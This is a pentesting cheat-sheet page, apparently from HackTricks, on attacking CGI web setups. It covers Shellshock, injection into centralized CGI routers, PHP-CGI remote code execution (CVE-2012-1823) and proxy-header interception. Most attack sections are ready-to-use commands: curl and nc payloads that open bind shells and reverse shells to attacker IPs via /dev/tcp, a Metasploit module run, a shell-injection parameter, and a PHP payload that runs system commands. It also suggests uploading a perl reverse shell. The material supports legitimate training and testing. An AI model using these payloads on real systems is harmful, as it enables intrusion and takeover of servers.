6.6 KiB
CGI Pentesting
{{#include ../../banners/hacktricks-training.md}}
Information
The CGI scripts are perl scripts, so, if you have compromised a server that can execute .cgi scripts you can upload a perl reverse shell `/usr/share/webshells/perl/perl-reverse-shell.pl`
, change the extension from .pl to .cgi, give execute permissions `chmod +x`
and access the reverse shell from the web browser to execute it.
In order to test for CGI vulns it's recommended to use nikto -C all
and all the plugins
ShellShock
ShellShock é uma vulnerabilidade que afeta o amplamente usado shell de linha de comando Bash em sistemas operacionais baseados em Unix. Ela explora a capacidade do Bash de executar comandos passados por aplicações. A vulnerabilidade está na manipulação de variáveis de ambiente, que são valores nomeados dinâmicos que impactam como processos são executados em um computador. Atacantes podem explorar isso anexando código malicioso às variáveis de ambiente, que é executado ao receber a variável. Isso permite que atacantes potencialmente comprometam o sistema.
Ao explorar essa vulnerabilidade a página pode lançar um erro.
Você pode encontrar essa vulnerabilidade percebendo que está usando uma versão antiga do Apache e cgi_mod com pasta cgi
ou usando nikto.
Test
A maioria dos testes baseia-se em usar o comando echo
para imprimir algo e esperar que essa string seja retornada na resposta web. Se você achar que uma página pode ser vulnerável, procure por todas as páginas cgi e teste-as.
Nmap
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
Curl (reflected, blind and out-of-band)
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
Exploit
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
Roteadores CGI centralizados (single endpoint routing via selector parameters)
Muitas interfaces web embarcadas multiplexam dezenas de ações privilegiadas por trás de um único CGI endpoint (por exemplo, /cgi-bin/cstecgi.cgi
) e usam um parâmetro seletor como topicurl=<handler>
para rotear a requisição para uma função interna.
Methodology to exploit these routers:
- Enumerar nomes de handlers: scrape JS/HTML, brute-force com wordlists, ou unpack firmware e grep por strings de handler usadas pelo dispatcher.
- Testar unauthenticated reachability: alguns handlers esquecem auth checks e são diretamente chamáveis.
- Focar em handlers que invocam system utilities ou touch files; validadores fracos frequentemente bloqueiam apenas alguns caracteres e podem perder o hífen inicial
-
.
Formas genéricas de exploit:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools
topicurl=<handler>¶m=-n
# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
# 3) Validator bypass → arbitrary file write in file-touching handlers
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
Detection and hardening:
- Watch for unauthenticated requests to centralized CGI endpoints with
topicurl
set to sensitive handlers. - Flag parameters that begin with
-
(argv option injection attempts). - Vendors: enforce authentication on all state-changing handlers, validate using strict allowlists/types/lengths, and never pass user-controlled strings as command-line flags.
PHP antigo + CGI = RCE CVE-2012-1823, CVE-2012-2311
Basicamente, se o CGI estiver ativo e o PHP for "antigo" <5.3.12 / < 5.4.2
você pode executar código.
Para explorar essa vulnerabilidade você precisa acessar algum arquivo PHP do servidor web sem enviar parâmetros especialmente sem enviar o caractere "="
.
Então, para testar essa vulnerabilidade, você pode acessar por exemplo /index.php?-s
note o `-s`
e o código-fonte da aplicação aparecerá na resposta.
Para obter RCE você pode enviar esta consulta especial: /?-d allow_url_include=1 -d auto_prepend_file=php://input
e o código PHP a ser executado no corpo da requisição.
Example:
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
Mais informações sobre o vuln e possíveis exploits: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.
Proxy (MitM para requisições do servidor web)
CGI cria uma variável de ambiente para cada cabeçalho na requisição HTTP. Por exemplo: "host:web.com" é criado como "HTTP_HOST"="web.com"
Como a variável HTTP_PROXY pode ser usada pelo servidor web, tente enviar um header contendo: "Proxy: <IP_attacker>:<PORT>" e, se o servidor executar qualquer requisição durante a sessão, você poderá capturar cada requisição feita pelo servidor.
Referências
{{#include ../../banners/hacktricks-training.md}}